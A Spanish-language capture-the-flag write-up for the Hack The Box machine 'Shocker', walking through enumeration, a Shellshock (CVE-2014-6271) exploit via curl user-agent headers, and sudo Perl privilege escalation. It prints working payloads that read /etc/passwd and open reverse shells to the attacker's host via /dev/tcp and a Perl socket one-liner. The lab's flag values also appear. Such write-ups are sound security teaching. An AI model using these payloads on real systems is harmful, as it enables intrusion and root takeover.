Writeup Shocker HTB

Writeup Shocker HTB

Información general

Dirección IP: 10.10.10.56
Nombre: Shocker
Dificultad: Fácil
Sistema operativo: Linux

Fase de reconocimiento

Como siempre, comenzamos con la fase de reconocimiento para saber a qué nos enfrentamos.

Resultados del escaneo con Nmap

# Nmap 7.91 scan initiated Mon Jun 28 21:09:38 2021 as: nmap -sS -sV -p80,2222 -oN targeted 10.10.10.56  
Nmap scan report for shocker.htb (10.10.10.56)  
Host is up (0.043s latency).  
PORT     STATE SERVICE VERSION  
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))  
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  

Vemos que tanto el puerto 80 como el 2222 están abiertos.

Si accedemos al servicio web no vemos gran cosa:

web.png

Vamos a intentar enumerar directorios y archivos interesantes:

 🐧  sudo python3 dirsearch.py -u http://10.10.10.56/ -e "" -t 50   
WARNING: No extension was specified!  

  
Extensions:  | HTTP method: GET | Threads: 50 | Wordlist size: 8983  
  
Output File: /opt/dirsearch/reports/10.10.10.56/-_21-07-12_21-58-38.txt  
  
Error Log: /opt/dirsearch/logs/errors-21-07-12_21-58-38.log  
  
Target: http://10.10.10.56/  
  
[21:58:39] Starting:   
[21:58:44] 403 -  297B  - /.ht_wsr.txt  
[21:58:44] 403 -  300B  - /.htaccess.bak1  
[21:58:44] 403 -  300B  - /.htaccess.orig  
[21:58:44] 403 -  302B  - /.htaccess.sample  
[21:58:44] 403 -  300B  - /.htaccess.save  
[21:58:44] 403 -  301B  - /.htaccess_extra  
[21:58:44] 403 -  300B  - /.htaccess_orig  
[21:58:44] 403 -  298B  - /.htaccess_sc  
[21:58:44] 403 -  298B  - /.htaccessBAK  
[21:58:44] 403 -  299B  - /.htaccessOLD2  
[21:58:44] 403 -  298B  - /.htaccessOLD  
[21:58:44] 403 -  290B  - /.htm  
[21:58:44] 403 -  291B  - /.html  
[21:58:44] 403 -  296B  - /.htpasswds  
[21:58:44] 403 -  300B  - /.htpasswd_test  
[21:58:44] 403 -  297B  - /.httr-oauth  
[21:59:09] 403 -  294B  - /cgi-bin/  
[21:59:23] 200 -  137B  - /index.html  
[21:59:43] 403 -  299B  - /server-status  
[21:59:43] 403 -  300B  - /server-status/

Existe el directorio  /cgi-bin/, ya que presenta un código de estado 403 (el servidor deniega la acción solicitada, página web o servicio. En otras palabras, el servidor ha podido ser contactado y ha recibido una petición válida, pero ha denegado el acceso a la acción que se solicita.)

Vamos a buscar archivos potenciales en esa ruta:

 🐧  sudo python3 dirsearch.py -u http://10.10.10.56/cgi-bin/ -e "sh,cgi,pl" -t 500  

Extensions: sh, cgi, pl | HTTP method: GET | Threads: 500 | Wordlist size: 10005  
  
Output File: /opt/dirsearch/reports/10.10.10.56/-cgi-bin-_21-07-12_22-04-17.txt  
  
Error Log: /opt/dirsearch/logs/errors-21-07-12_22-04-17.log  
  
Target: http://10.10.10.56/cgi-bin/  
  
[22:04:18] Starting:   
[22:04:22] 403 -  308B  - /cgi-bin/.htaccess.orig  
[22:04:22] 403 -  308B  - /cgi-bin/.htaccess.bak1  
[22:04:22] 403 -  310B  - /cgi-bin/.htaccess.sample  
[22:04:22] 403 -  308B  - /cgi-bin/.htaccess.save  
[22:04:22] 403 -  309B  - /cgi-bin/.htaccess_extra  
[22:04:22] 403 -  305B  - /cgi-bin/.ht_wsr.txt  
[22:04:22] 403 -  306B  - /cgi-bin/.htaccessOLD  
[22:04:22] 403 -  306B  - /cgi-bin/.htaccess_sc  
[22:04:22] 403 -  308B  - /cgi-bin/.htaccess_orig  
[22:04:22] 403 -  307B  - /cgi-bin/.htaccessOLD2  
[22:04:22] 403 -  306B  - /cgi-bin/.htaccessBAK  
[22:04:23] 403 -  304B  - /cgi-bin/.htpasswds  
[22:04:23] 403 -  299B  - /cgi-bin/.html  
[22:04:23] 403 -  298B  - /cgi-bin/.htm  
[22:04:24] 403 -  308B  - /cgi-bin/.htpasswd_test  
[22:04:24] 403 -  305B  - /cgi-bin/.httr-oauth  
[22:05:14] 200 -  119B  - /cgi-bin/user.sh  
  
Task Completed

Encontramos un archivo existente: /cgi-bin/user.sh

Cuyo contenido es:

Content-Type: text/plain  
  
Just an uptime test script  
  
16:13:56 up 58 min,  0 users,  load average: 0.00, 0.03, 0.13

Si analizamos el contenido del archivo, es el mismo que si hiciesemos un “uptime” en nuestra máquina.

Todo esto es un indicio de shellshock ya que, habitualmente, usan este tipo de scripts cgi.

Buscando vulnerabilidades encontramos la siguiente: https://github.com/opsxcq/exploit-CVE-2014-6271

Explotación:

Siguiendo la explicación del cve y adaptando el exploit obtenemos ejecución remota de comandos (RCE)

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" 10.10.10.56/cgi-bin/user.sh

El exploit ha funcionado correctamente permitiéndonos leer el contenido del fichero /etc/passwd Ahora vamos a intentar conseguir una reverse shell:

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -l > /dev/tcp/10.10.14.54/1234 0<&1 2>&1" 10.10.10.56/cgi-bin/user.sh

Nos ponemos en escucha en nuestra máquina:

🐧   nc -nlvp 1234

Obtenemos conexión y podemos leer la primera flag (user.txt)

shelly@Shocker:/home/shelly$ cat user.txt   
cat user.txt   
48b52697cc5aaae88fbb6ae3dcdf6ba9

Escalada de privilegios:

Vamos a ver si el usuario shelly tiene la posibilidad de ejecutar algún comando a nivel de superusuario:

shelly@Shocker:/home/shelly$ sudo -l  
sudo -l  
Matching Defaults entries for shelly on Shocker:  
 env_reset, mail_badpass,  
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User shelly may run the following commands on Shocker:  
 (root) NOPASSWD: /usr/bin/perl  
shelly@Shocker:/home/shelly$

Efectivamente, vemos que el usuario shelly puede ejecutar el binario de perl con permisos root, por lo que, construimos un pequeño script en perl que nos devuelva una reverse shell para conseguir ser root.

perl -e 'use Socket;$i="10.10.14.54";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Nos ponemos en escucha:

🐧   nc -nlvp 12345   
listening on [any] 12345 ...  
connect to [10.10.14.54] from (UNKNOWN) [10.10.10.56] 43992  
whoami  
root

Finalmente obtenemos la reverse shell como root y logramos la última flag (root.txt)

root@Shocker:~# cat root.txt  
cat root.txt  
f78097749d28d4f8965493d317dd456e  
root@Shocker:~#

Este artículo ha sido redactado con fines educativos. Cualquier acción derivada de este artículo que no tenga dicho fin entra en conflicto con nuestro propósito de hacer divulgación de contenido educativo, y es objeto de nuestra condena más enérgica.

DiegoAltF4
comments powered by Disqus